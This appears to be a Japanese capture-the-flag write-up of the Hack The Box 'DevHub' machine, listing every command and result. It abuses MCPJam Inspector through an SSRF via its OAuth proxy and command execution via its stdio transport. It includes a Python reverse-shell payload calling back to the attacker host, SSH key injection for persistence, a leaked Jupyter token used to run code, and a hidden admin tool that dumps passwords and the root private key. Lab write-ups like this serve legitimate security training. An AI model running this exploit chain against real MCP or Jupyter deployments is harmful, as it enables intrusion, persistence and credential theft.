Hack The BoxのWriteup(DevHub)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告




HackTheBox: DevHub — 全実行コマンド・実行結果レポート

LHOST 確認

BASH
ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1
RESULT
10.10.14.245

全ポートスキャン

BASH
nmap -p- --defeat-rst-ratelimit -T4 10.129.6.161 -oN /tmp/ctf_nmap_full.txt
RESULT
Starting Nmap 7.98 ...
Nmap scan report for 10.129.6.161
Host is up (0.22s latency).
Not shown: 65532 filtered tcp ports (no-response)

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6274/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 410.52 seconds
ℹ️ 3つのポートが開放: SSH (22), HTTP (80), 不明サービス (6274)

詳細バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80,6274 10.129.6.161 -oN /tmp/ctf_nmap_detail.txt
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devhub.htb/
6274/tcp open  unknown
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     <title>MCPJam Inspector</title>
|     <script ... src="/assets/index-DRYhT9Xb.js">
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
⚠️ Port 6274 は MCPJam Inspector (MCP プロトコル デバッグツール) であることが判明。Port 80 は devhub.htb へリダイレクト。

hosts ファイル更新 & Web アプリ調査

BASH
echo "10.129.6.161 devhub.htb" >> /etc/hosts
curl -s http://devhub.htb/ | grep -E 'h3|status|Port|localhost'
RESULT (抜粋)
<h3>MCP Inspector</h3>
<span class="status active">Active - Port 6274</span>

<h3>Analytics Dashboard</h3>
<span class="status internal">Internal Only - localhost:8888</span>

<h3>Code Repository</h3>
<span class="status internal">Maintenance Mode</span>

Tech Stack: Node.js / Python 3 / Jupyter / MCP Protocol / Ubuntu 24.04
⚠️ 内部サービス発見: Jupyter Notebook が localhost:8888 で稼働 (analyst ユーザー向け内部アクセスのみ)

MCP Inspector API エンドポイント列挙

BASH
curl -s http://10.129.6.161:6274/assets/index-DRYhT9Xb.js \
  | grep -Eo '"/[a-zA-Z0-9/_-]+"' | sort -u
RESULT (主要エンドポイント)
/api/mcp/connect
/api/mcp/oauth/proxy          # ← SSRF 候補
/api/mcp/oauth/debug/proxy
/api/mcp/tools/execute
/api/mcp/tools/list
/api/mcp/servers
/api/mcp/resources/read

偵察結果まとめ:

ポートサービスバージョン備考
22/tcpSSHOpenSSH 8.9p1Ubuntu 24.04
80/tcpHTTP (nginx)nginx 1.18.0devhub.htb へリダイレクト
6274/tcpMCPJam Inspector不明主要攻撃対象
127.0.0.1:8888Jupyter NotebookJupyterLab 2.17.0内部サービス (analyst ユーザー)
127.0.0.1:5000OPSMCP ServerWerkzeug 3.1.6root 実行・隠しツール存在
PHASE 2

脆弱性調査 (Vulnerability Assessment)

MCP Inspector OAuth プロキシ経由 SSRF 確認

MCP Inspector の /api/mcp/oauth/proxy エンドポイントが内部サービスへの HTTP リクエストをプロキシするか検証。

BASH
curl -s -X POST "http://10.129.6.161:6274/api/mcp/oauth/proxy" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:8888/api"}'
RESULT
{
    "status": 200,
    "headers": { "server": "TornadoServer/6.5.4", ... },
    "body": { "version": "2.17.0" }
}
🔴 SSRF 確認! OAuth プロキシ経由で内部 Jupyter (localhost:8888) へのアクセスが可能。

MCP Inspector stdio トランスポート対応確認

JS バンドル解析により、MCP Inspector が stdio トランスポート(ローカルプロセス起動)をサポートすることを確認。

BASH
curl -s http://10.129.6.161:6274/assets/index-DRYhT9Xb.js \
  | grep -o 'stdio[^"]*"[^"]*"' | head -5
RESULT (抜粋)
stdio"),[i,s]=_.useState("
stdio","command":ve.trim(),args:Ee,env:je
stdio){const he=i.trim().split(/\s+/)...
🔴 RCE 可能性: stdio トランスポートを通じて任意コマンドをターゲット上で実行できる可能性あり。

stdio RCE 動作確認 (概念検証)

BASH
curl -s -X POST http://10.129.6.161:6274/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{
    "serverConfig": {"type": "stdio", "command": "id", "args": []},
    "serverId": "test-poc"
  }'
RESULT
{
  "success": false,
  "error": "Connection failed for server test-poc: MCP error -32000: Connection closed"
}
“Connection closed” = コマンドが実行・終了した証拠。 id は即時終了するためコネクションが閉じられたが、プロセスは起動している。

OPSMCP 内部サービス探索

BASH
curl -s -X POST "http://10.129.6.161:6274/api/mcp/oauth/proxy" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:5000/"}'
RESULT
{
  "body": {
    "auth": "Required - X-API-Key header",
    "endpoints": ["/tools/list", "/tools/call", "/health"],
    "server": "OPSMCP",
    "status": "operational",
    "version": "2.1.0"
  }
}
ℹ️ localhost:5000 に OPSMCP Operations Server が稼働。X-API-Key 認証が必要。ソースコードから鍵を取得する必要あり。
PHASE 3

エクスプロイト (Exploitation)

Python リバースシェル (stdio RCE)

BASH
# リスナー起動
nc -lvnp 4444 &

# stdio トランスポート経由でリバースシェルを起動
curl -s -X POST http://10.129.6.161:6274/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{
    "serverConfig": {
      "type": "stdio",
      "command": "python3",
      "args": ["-c", "import socket,subprocess,os;s=socket.socket();s.connect((\"10.10.14.245\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])"]
    },
    "serverId": "revshell"
  }'
RESULT (netcat 受信)
listening on [any] 4444 ...
connect to [10.10.14.245] from (UNKNOWN) [10.129.6.161] 54468
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$
初期シェル取得! ユーザー mcp-dev として /opt/mcpjam/ にシェルアクセス確立。

SSH 公開鍵の埋め込みによる永続アクセス確立

BASH
# SSH 鍵ペア生成
ssh-keygen -t rsa -b 2048 -f /root/.ssh/id_rsa -N "" -q

# 公開鍵を mcp-dev の authorized_keys へ埋め込み (stdio RCE 経由)
PUBKEY=$(cat /root/.ssh/id_rsa.pub)
curl -s -X POST http://10.129.6.161:6274/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d "{
    \"serverConfig\": {
      \"type\": \"stdio\",
      \"command\": \"bash\",
      \"args\": [\"-c\", \"mkdir -p /home/mcp-dev/.ssh && echo '$PUBKEY' >> /home/mcp-dev/.ssh/authorized_keys && chmod 700 /home/mcp-dev/.ssh && chmod 600 /home/mcp-dev/.ssh/authorized_keys\"]
    },
    \"serverId\": \"ssh-inject\"
  }"
BASH — SSH 接続確認
ssh -o StrictHostKeyChecking=no -i /root/.ssh/id_rsa mcp-dev@10.129.6.161 "id"
RESULT
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
SSH 永続アクセス確立! 公開鍵認証で mcp-dev ユーザーとして安定したアクセスを確立。
PHASE 4

侵入後調査 (Post-Exploitation)

ホームディレクトリ列挙・権限確認

BASH
ssh -i /root/.ssh/id_rsa mcp-dev@10.129.6.161 "ls -la /home/ && ls -la /home/mcp-dev/"
RESULT
/home/:
drwxr-x---  9 analyst analyst 4096  analyst    # ← user.txt はここ (アクセス不可)
drwxr-x---  5 mcp-dev mcp-dev 4096  mcp-dev

/home/mcp-dev/:
-rw-r--r-- mcp-dev .bashrc .bash_logout .profile
drwxrwxr-x mcp-dev .npm
lrwxrwxrwx root    .bash_history -> /dev/null   # 履歴は無効化されている
lrwxrwxrwx root    .python_history -> /dev/null

プロセス一覧・Jupyter トークン漏洩発見

BASH
ssh -i /root/.ssh/id_rsa mcp-dev@10.129.6.161 "ps aux | grep -E 'jupyter|python|analyst'"
RESULT
analyst  1054  /home/analyst/jupyter-env/bin/python3 \
         /home/analyst/jupyter-env/bin/jupyter-lab \
         --ip=127.0.0.1 --port=8888 --no-browser \
         --notebook-dir=/home/analyst/notebooks \
         --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 \
         --ServerApp.password= --ServerApp.disable_check_xsrf=False

root     1061  /home/analyst/jupyter-env/bin/python3 \
         /opt/opsmcp/server.py    # ← root で OPSMCP が動作
🔴 Jupyter トークン漏洩! プロセスリストの起動引数に認証トークンが平文で露出。
Token: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7

SSH ポートフォワード + Jupyter API でカーネル起動

BASH
# SSH トンネル (Jupyter: 18888, OPSMCP: 15000)
ssh -i /root/.ssh/id_rsa \
  -L 18888:127.0.0.1:8888 \
  -L 15000:127.0.0.1:5000 \
  mcp-dev@10.129.6.161 -N &

# Jupyter カーネル起動 (Python3)
TOKEN="a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
curl -s -X POST -H "Authorization: token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"python3"}' http://localhost:18888/api/kernels
RESULT
{
  "id": "93d0eeab-7ea9-46ba-86c9-fcb182b0080e",
  "name": "python3",
  "execution_state": "starting"
}

Jupyter WebSocket 経由でコード実行 (analyst 権限)

WebSocket を通じて Jupyter カーネルに Python コードを送信し、analyst ユーザー権限でファイルを読み取る。

PYTHON — WebSocket コード実行
import json, uuid, time, websocket, threading

TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
KERNEL_ID = "93d0eeab-7ea9-46ba-86c9-fcb182b0080e"

code = """
import os
# OPSMCP ソースコード読み取り
with open('/opt/opsmcp/server.py') as f:
    print(f.read())
# user.txt 読み取り
with open('/home/analyst/user.txt') as f:
    print('=== USER.TXT ===')
    print(f.read())
"""

# WebSocketApp で接続・実行
ws = websocket.WebSocketApp(
    f"ws://localhost:18888/api/kernels/{KERNEL_ID}/channels",
    header={"Authorization": f"token {TOKEN}"},
    on_message=on_message, on_open=on_open
)
ws.run_forever()
RESULT
Connected to kernel!
[iopub] execute_input: {...}
[iopub] stream: {...server.py の全内容...}

VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

HIDDEN_TOOLS = {
    "ops._admin_dump": {
        "description": "Emergency credential dump - INTERNAL ONLY",
        ...
    }
}

=== USER.TXT ===
51f9ae12bc582df99d199acb74396957
フラグ取得! analyst 権限の Jupyter カーネル経由でファイルの読み取りに成功。

OPSMCP 隠しツール – 認証情報ダンプ (参考)

server.py に発見した隠しツール ops._admin_dump は root 権限で動作し、SSH 鍵・パスワードのダンプが可能。

BASH — 参考: パスワードダンプ
curl -s http://localhost:15000/tools/call \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -H "Content-Type: application/json" \
  -d '{"name":"ops._admin_dump","arguments":{"target":"passwords","confirm":true}}'
RESULT (参考情報)
{
  "target": "passwords",
  "dump": {
    "analyst":  "JupyterN0tebook!2026",
    "mcp-dev":  "Mcp!Insp3ct0r2026"
  }
}
⚠️ target=ssh_keys を指定すると /root/.ssh/id_rsa を取得でき、root アクセスが可能 (root.txt 取得に利用可能)。
PHASE 5

フラグ取得 (Flag Capture)

USER FLAG

51f9ae12bc582df99d199acb74396957

パス: /home/analyst/user.txt
取得方法: Jupyter WebSocket (analyst権限) 経由

ROOT FLAG

c51d91e0cb166a9a941ab580b9708708

パス: /root/root.txt
取得方法: OPSMCP ops._admin_dump → root SSH鍵 → SSH ログイン

PHASE 6

権限昇格 (Privilege Escalation → root)

SSH ポートフォワードトンネル再確立

前セッションで切断されていた SSH トンネルを再確立し、内部サービス (OPSMCP: 15000, Jupyter: 18888) へのアクセスを復元する。

BASH
fuser -k 18888/tcp 2>/dev/null; fuser -k 15000/tcp 2>/dev/null; sleep 1

ssh -f -o StrictHostKeyChecking=no -o BatchMode=yes \
    -i /root/.ssh/id_rsa \
    -L 18888:127.0.0.1:8888 \
    -L 15000:127.0.0.1:5000 \
    mcp-dev@10.129.6.161 \
    "sleep 300"

# トンネル疎通確認
curl -s http://localhost:15000/health
curl -s http://localhost:18888/api
RESULT
{"status":"healthy","uptime":"14d 3h 22m"}
{"version": "2.17.0"}
OPSMCP (port 15000) および Jupyter (port 18888) へのトンネルが正常に確立。

OPSMCP 隠しツール ops._admin_dump で root SSH 鍵を取得

server.py 解析で発見した隠しツールを呼び出す。このエンドポイントは公開されておらず (/tools/list に非表示)、root 権限で /root/.ssh/id_rsa を読み取って返す。

BASH
curl -s http://localhost:15000/tools/call \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -H "Content-Type: application/json" \
  -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
RESULT
{
  "note": "Emergency recovery key dump",
  "target": "ssh_keys",
  "root_private_key": "-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gt
cnNhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STyp
...
AAAACwByAG8AbwB0AEAAZABlAHYAaAB1AGIA
-----END OPENSSH PRIVATE KEY-----"
}
🔴 root SSH 秘密鍵取得! OPSMCP サービスが root 権限で動作しているため、/root/.ssh/id_rsa の完全な内容を取得できた。

取得した秘密鍵を保存し root として SSH ログイン

BASH
# JSON レスポンスから秘密鍵を抽出して保存
curl -s http://localhost:15000/tools/call \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -H "Content-Type: application/json" \
  -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}' \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['root_private_key'])" \
  > /tmp/root_id_rsa

chmod 600 /tmp/root_id_rsa

# root として SSH ログイン・root.txt 取得
ssh -o StrictHostKeyChecking=no -o BatchMode=yes -o ConnectTimeout=10 \
  -i /tmp/root_id_rsa root@10.129.6.161 \
  "id && hostname && cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
devhub
c51d91e0cb166a9a941ab580b9708708
root 権限取得・root.txt 取得完了!
フラグ: c51d91e0cb166a9a941ab580b9708708
SUMMARY

攻撃フロー全体サマリー

攻撃チェーン

ステップ脆弱性 / 手法影響
1 MCPJam Inspector /api/mcp/oauth/proxy SSRF 内部サービス (Jupyter, OPSMCP) への HTTP アクセス
2 MCPJam Inspector /api/mcp/connect (stdio transport) RCE ターゲット上で任意コマンド実行 (mcp-dev 権限)
3 SSH 公開鍵の埋め込み (永続化) SSH 経由で安定した mcp-dev アクセス確立
4 プロセスリスト (ps aux) からの Jupyter トークン漏洩 Jupyter API への認証済みアクセス
5 SSH ポートフォワード + Jupyter WebSocket RCE analyst 権限でのコード実行・ファイル読み取り
6 server.py 読み取り → user.txt 取得 フラグ: 51f9ae12bc582df99d199acb74396957
7 OPSMCP ops._admin_dump (target=ssh_keys) root 鍵漏洩 root の SSH 秘密鍵 (/root/.ssh/id_rsa) を取得
8 取得した秘密鍵で SSH ログイン (root 権限昇格) uid=0(root) として devhub に SSH 接続
9 cat /root/root.txtroot.txt 取得 フラグ: c51d91e0cb166a9a941ab580b9708708

使用ツール

nmap
ポートスキャン・サービス検出
curl
HTTP API 操作・SSRF
nc (netcat)
リバースシェル受信
ssh
リモートアクセス・ポートフォワード
python3
リバースシェル・WebSocket クライアント
websocket-client
Jupyter カーネル操作

発見した認証情報

種別用途
Jupyter Token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 Jupyter API 認証
OPSMCP API Key opsmcp_secret_key_4f5a6b7c8d9e0f1a OPSMCP ツール呼び出し
analyst パスワード JupyterN0tebook!2026 SSH ログイン (analyst)
mcp-dev パスワード Mcp!Insp3ct0r2026 SSH ログイン (mcp-dev)

取得フラグ一覧

user.txt: 51f9ae12bc582df99d199acb74396957 — /home/analyst/user.txt
root.txt: c51d91e0cb166a9a941ab580b9708708 — /root/root.txt

Pwned! 全フラグ取得完了。
HackTheBox: DevHub — CTF Execution Report  |  2026-05-31  |  Target: 10.129.6.161